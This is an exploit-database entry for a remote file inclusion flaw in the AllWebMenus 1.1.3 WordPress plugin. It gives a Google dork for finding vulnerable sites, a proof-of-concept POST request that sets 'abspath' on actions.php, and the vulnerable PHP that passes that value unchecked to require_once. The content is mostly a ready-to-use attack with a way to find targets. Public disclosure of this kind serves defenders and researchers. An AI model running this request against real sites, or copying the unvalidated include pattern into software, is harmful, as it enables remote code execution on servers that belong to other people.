WordPress Plugin AllWebMenus 1.1.3 - Remote File Inclusion

# Exploit Title: Allwebmenus Wordpress Menu Plugin Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/allwebmenus-wordpress-menu-plugin
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/allwebmenus-wordpress-menu-plugin/download/
# Version: 1.1.3 (tested)

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PoC
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http://SERVER/WP_PATH/wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php POST="abspath=RFI"

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Vulnerable Code
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/** Loads the WordPress Environment and Template */
if (!isset($_POST["abspath"]))
    die();
require_once(urldecode((string) $_POST["abspath"].'wp-blog-header.php'));